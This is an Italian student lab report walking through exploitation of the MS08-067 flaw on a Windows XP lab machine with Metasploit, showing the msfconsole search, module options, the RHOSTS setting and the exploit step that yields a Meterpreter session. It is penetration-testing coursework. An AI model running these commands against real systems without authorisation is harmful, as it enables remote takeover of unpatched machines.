CONSEGNA S7/L3

DI GIUSEPPE LUPOI

PRATICA DEL GIORNO

Oggi viene richiesto di ottenere una sessione di Meterpreter sul target Windows XP sfruttando con Metasploit la vulnerabilità MS08-067.
Una volta ottenuta la sessione, si dovrà:

01 Recuperare uno screenshot tramite la sessione Meterpreter.

02 Individuare la presenza o meno di Webcam sulla macchina Windows XP (opzionale).

MSFCONSOLE

Per svolgere l'attività di oggi avviamo sia Windows XP precedentemente installato e la nostra Kali Linux.

Dunque avviamo un terminale su Kali ed avviamo Metasploit con il comando **msfconsole**.

Ricercheremo il modulo di cui abbiamo bisogno per iniziare l'attacco, quindi useremo il comando per ricercarlo come vedete di sequito nella figura qua sotto.

"search ms08_067"

```
msf6 > search ms08_067

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Description
   -  ----                                  ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi   2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
```

Arrivati a questo punto controlliamo le impostazioni di cui ha bisogno li modulo per avviare l'attacco, le possiamo controllare con il comando "**info**".

```
msf6 exploit(windows/smb/ms08_067_netapi) > info

       Name: MS08-067 Microsoft Server Service Relative Path Sta
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

Provided by:
  hdm <x@hdm.io>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>

Available targets:
    Id  Name
    --  ----
  ⇒ 0   Automatic Targeting
    1   Windows 2000 Universal
    2   Windows XP SP0/SP1 Universal
    3   Windows 2003 SP0 Universal
    4   Windows XP SP2 English (AlwaysOn NX)
    5   Windows XP SP2 English (NX)
    6   Windows XP SP3 English (AlwaysOn NX)
    7   Windows XP SP3 English (NX)
    8   Windows XP SP2 Arabic (NX)
    9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
    10  Windows XP SP2 Chinese - Simplified (NX)
    11  Windows XP SP2 Chinese - Traditional (NX)
    12  Windows XP SP2 Czech (NX)
    13  Windows XP SP2 Danish (NX)
    14  Windows XP SP2 German (NX)
    15  Windows XP SP2 Greek (NX)
    16  Windows XP SP2 Spanish (NX)
    17  Windows XP SP2 Finnish (NX)
    18  Windows XP SP2 French (NX)
    19  Windows XP SP2 Hebrew (NX)
    20  Windows XP SP2 Hungarian (NX)
    21  Windows XP SP2 Italian (NX)
    22  Windows XP SP2 Japanese (NX)
    23  Windows XP SP2 Korean (NX)
    24  Windows XP SP2 Dutch (NX)
    25  Windows XP SP2 Norwegian (NX)
    26  Windows XP SP2 Polish (NX)
```

Nella sezione “**Basic options**” troviamo le impostazioni da modificare, saranno appunto da modificare le opzioni che avranno la voce “**yes**” nella colonna “**Required**”.

In questo caso non andremo a modificare la voce “SMBPIPE” ne la voce “RPORT” perchè sono già corrette.

```
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), see https:/
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER,

Payload information:
  Space: 408
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization co
  NetAPI32.dll through the Server Service. This module is capable of
  NX on some operating systems and service packs. The correct target
  used to prevent the Server Service (along with a dozen others in th
  process) from crashing. Windows XP targets seem to handle multiple
  exploitation events, but 2003 targets will often crash or hang on s
  attempts. This is just the first version of this module, full suppo
  NX bypass on 2003, along with other platforms, is still in developm

References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-4250
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins
  https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathc


View the full module info with the info -d command.
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.1.200
rhosts ⇒ 192.168.1.200
msf6 exploit(windows/smb/ms08_067_netapi) > info
```

Possiamo quindi procedere col cambio dei "**RHOSTS**" andando ad impostare l'indirizzo IP del target che ci interessa, ovvero la nostra macchina Windows XP.

Daremo quindi il comando "**set rhosts 192.168.1.200**"

Ricontrolliamo ora se le impostazioni che abbiamo
modificato sono corrette.
Digitiamo “**show options**” e vedremo che l’indirizzo da noi digitato
in precedenza è stato inserito.

```
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS   192.168.1.200    yes       The target host(s), see https://docs.met
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
```

Non ci resta che avviare l'attacco, diamo il comando "**exploit**", se tutto è stato impostato in modo corretto il terminale ci avviserà che è stata creata una sessione di **Meterpreter** sulla vittima.

Per avere una controprova del effettivo successo digitiamo il comando "**ifconfig**", se nelle interfacce del sistema vediamo l'indirizzo IP del nostro target saremo riusciti nel nostro intento.